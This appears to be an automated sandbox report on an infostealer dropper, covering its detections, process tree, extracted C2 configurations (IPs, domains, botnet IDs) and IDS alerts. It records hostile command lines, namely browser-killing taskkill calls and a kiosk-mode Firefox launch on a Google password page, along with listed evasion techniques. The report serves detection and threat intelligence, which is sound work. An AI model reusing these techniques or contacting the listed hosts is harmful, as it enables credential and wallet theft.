Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1541396
MD5:	19ca4c1711e487e5c93a66f3e5398c92
SHA1:	34fac47faf40a8013ddd39d5c391d503c5b04db9
SHA256:	03617a6fe46419e212fea056d6e43a0abff7a41dbf9de0896ea6c264b4728622
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4500 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 19CA4C1711E487E5C93A66F3E5398C92)

0BSU3F1DFM4GF1Y0TBRRGTML6V.exe (PID: 3920 cmdline: "C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe" MD5: 23A502CF6A3D8B5AAF90B60E0163EB90)

skotes.exe (PID: 2672 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 23A502CF6A3D8B5AAF90B60E0163EB90)

RLX7QEJ1ATLQN8ECDIPHB.exe (PID: 2680 cmdline: "C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe" MD5: FE2148029209699E0EE2CBA27C4D5F8B)

A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe (PID: 7324 cmdline: "C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe" MD5: 47A01F59492FF5A80511836A1707A396)

skotes.exe (PID: 7200 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 23A502CF6A3D8B5AAF90B60E0163EB90)

skotes.exe (PID: 7664 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 23A502CF6A3D8B5AAF90B60E0163EB90)

09d417a7c4.exe (PID: 7836 cmdline: "C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe" MD5: 19CA4C1711E487E5C93A66F3E5398C92)

RETV5V6Q4X285DV6.exe (PID: 2356 cmdline: "C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe" MD5: 23A502CF6A3D8B5AAF90B60E0163EB90)

SOZIL3CYM3GR68KV3Z4.exe (PID: 7152 cmdline: "C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe" MD5: FE2148029209699E0EE2CBA27C4D5F8B)

GKAQCOVK40X0NN7A.exe (PID: 5356 cmdline: "C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe" MD5: 47A01F59492FF5A80511836A1707A396)

353ab0ae6e.exe (PID: 8036 cmdline: "C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe" MD5: FE2148029209699E0EE2CBA27C4D5F8B)

29af563a7b.exe (PID: 2792 cmdline: "C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe" MD5: 03BAA19835A87FFA911CFE9FB0763541)

taskkill.exe (PID: 2860 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2172 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3772 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4196 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4464 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 4744 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 7252 cmdline: "C:\Users\user\AppData\Local\Temp\1001245001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

09d417a7c4.exe (PID: 652 cmdline: "C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe" MD5: 19CA4C1711E487E5C93A66F3E5398C92)

firefox.exe (PID: 1272 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7056 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2460 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2168 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2068 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1627ebda-6589-45a8-9dca-43cec3b82382} 7056 "\\.\pipe\gecko-crash-server-pipe.7056" 2557826ed10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4280 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2752 -parentBuildID 20230927232528 -prefsHandle 4376 -prefMapHandle 4372 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {776ea994-b651-49e2-8a85-deca857d51f8} 7056 "\\.\pipe\gecko-crash-server-pipe.7056" 2550a5cf510 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

353ab0ae6e.exe (PID: 2316 cmdline: "C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe" MD5: FE2148029209699E0EE2CBA27C4D5F8B)

29af563a7b.exe (PID: 1380 cmdline: "C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe" MD5: 03BAA19835A87FFA911CFE9FB0763541)

taskkill.exe (PID: 2304 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5548 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1360 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3060 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6112 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 4424 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 5296 cmdline: "C:\Users\user\AppData\Local\Temp\1001245001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

09d417a7c4.exe (PID: 5228 cmdline: "C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe" MD5: 19CA4C1711E487E5C93A66F3E5398C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: LummaC

{"C2 url": ["dissapoiznw.store", "studennotediw.store", "licendfilteo.site", "spirittunek.store", "eaglepawnoy.store", "clearancek.site", "mobbipenju.store", "bathdoomgaz.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1001245001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1001245001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000025.00000002.3142989520.0000000000771000.00000040.00000001.01000000.0000001D.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.2329238363.0000000000D11000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2351037626.0000000000991000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000003.2310001916.0000000005060000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2329802487.0000000005250000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000002.3147195806.000000000158E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000002.2897071906.00000000005EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2184520949.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2828087899.000000000163E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000002.2370281084.0000000000991000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2184690433.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000027.00000002.3188496259.0000000000AB1000.00000080.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000003.2288969825.0000000005410000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2631105456.0000000004E60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2785659167.0000000005500000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000025.00000003.3055944395.0000000005150000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000002.2898017549.0000000000AB1000.00000080.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2316405109.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2168617103.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.3041756077.0000000000F61000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000021.00000003.3030295147.0000000004B30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.2950368686.0000000005080000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2184807186.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2356707937.00000000000D1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2184381596.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2357660473.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000027.00000002.3191784603.0000000001717000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000002.2826208289.0000000000F61000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000000.2877490551.0000000000AB1000.00000080.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.3039874893.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000027.00000000.3096831716.0000000000AB1000.00000080.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2892795136.000000000189F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000021.00000002.3071469840.00000000000B1000.00000040.00000001.01000000.0000001C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 4500	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 4500	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4500	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: RLX7QEJ1ATLQN8ECDIPHB.exe PID: 2680	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RLX7QEJ1ATLQN8ECDIPHB.exe PID: 2680	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 09d417a7c4.exe PID: 7836	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 09d417a7c4.exe PID: 7836	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 09d417a7c4.exe PID: 7836	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 353ab0ae6e.exe PID: 8036	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 353ab0ae6e.exe PID: 8036	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 29af563a7b.exe PID: 2792	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 41 entries

Unpacked PEs

Source	Rule	Description	Author
39.2.num.exe.ab0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
28.2.num.exe.ab0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
28.0.num.exe.ab0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
5.2.RLX7QEJ1ATLQN8ECDIPHB.exe.d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
39.0.num.exe.ab0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
33.2.RETV5V6Q4X285DV6.exe.b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.d10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.353ab0ae6e.exe.f60000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.skotes.exe.990000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
37.2.SOZIL3CYM3GR68KV3Z4.exe.770000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.skotes.exe.990000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.2.353ab0ae6e.exe.f60000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7664, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\09d417a7c4.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7664, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\09d417a7c4.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:29:11.020937+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49707	104.21.53.8	443	TCP
2024-10-24T19:29:12.266561+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49708	104.21.53.8	443	TCP
2024-10-24T19:29:22.443090+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49716	104.21.53.8	443	TCP
2024-10-24T19:30:15.649308+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49989	104.21.53.8	443	TCP
2024-10-24T19:30:16.911185+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49994	104.21.53.8	443	TCP
2024-10-24T19:30:31.719234+0200	2054653	1	A Network Trojan was detected	192.168.2.5	50018	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:29:11.020937+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49707	104.21.53.8	443	TCP
2024-10-24T19:30:15.649308+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49989	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:29:12.266561+0200	2049812	1	A Network Trojan was detected	192.168.2.5	49708	104.21.53.8	443	TCP
2024-10-24T19:30:16.911185+0200	2049812	1	A Network Trojan was detected	192.168.2.5	49994	104.21.53.8	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:29:29.298714+0200	2019714	2	Potentially Bad Traffic	192.168.2.5	49725	185.215.113.16	80	TCP
2024-10-24T19:30:25.197634+0200	2019714	2	Potentially Bad Traffic	192.168.2.5	50005	185.215.113.16	80	TCP
2024-10-24T19:30:42.723676+0200	2019714	2	Potentially Bad Traffic	192.168.2.5	50023	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:30:12.909985+0200	2044696	1	A Network Trojan was detected	192.168.2.5	49974	185.215.113.43	80	TCP
2024-10-24T19:30:18.494852+0200	2044696	1	A Network Trojan was detected	192.168.2.5	49998	185.215.113.43	80	TCP
2024-10-24T19:30:23.964189+0200	2044696	1	A Network Trojan was detected	192.168.2.5	50003	185.215.113.43	80	TCP
2024-10-24T19:30:28.979583+0200	2044696	1	A Network Trojan was detected	192.168.2.5	50015	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:29:08.506440+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.5	59774	1.1.1.1	53	UDP
2024-10-24T19:30:12.806744+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.5	54725	1.1.1.1	53	UDP
2024-10-24T19:30:27.914832+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.5	56490	1.1.1.1	53	UDP
2024-10-24T19:31:01.994570+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.5	63697	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:29:08.436262+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	58230	1.1.1.1	53	UDP
2024-10-24T19:30:12.740740+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	62960	1.1.1.1	53	UDP
2024-10-24T19:30:27.840891+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	58389	1.1.1.1	53	UDP
2024-10-24T19:31:01.635952+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	58566	1.1.1.1	53	UDP
2024-10-24T19:31:01.670991+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	58566	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:29:08.481957+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.5	62647	1.1.1.1	53	UDP
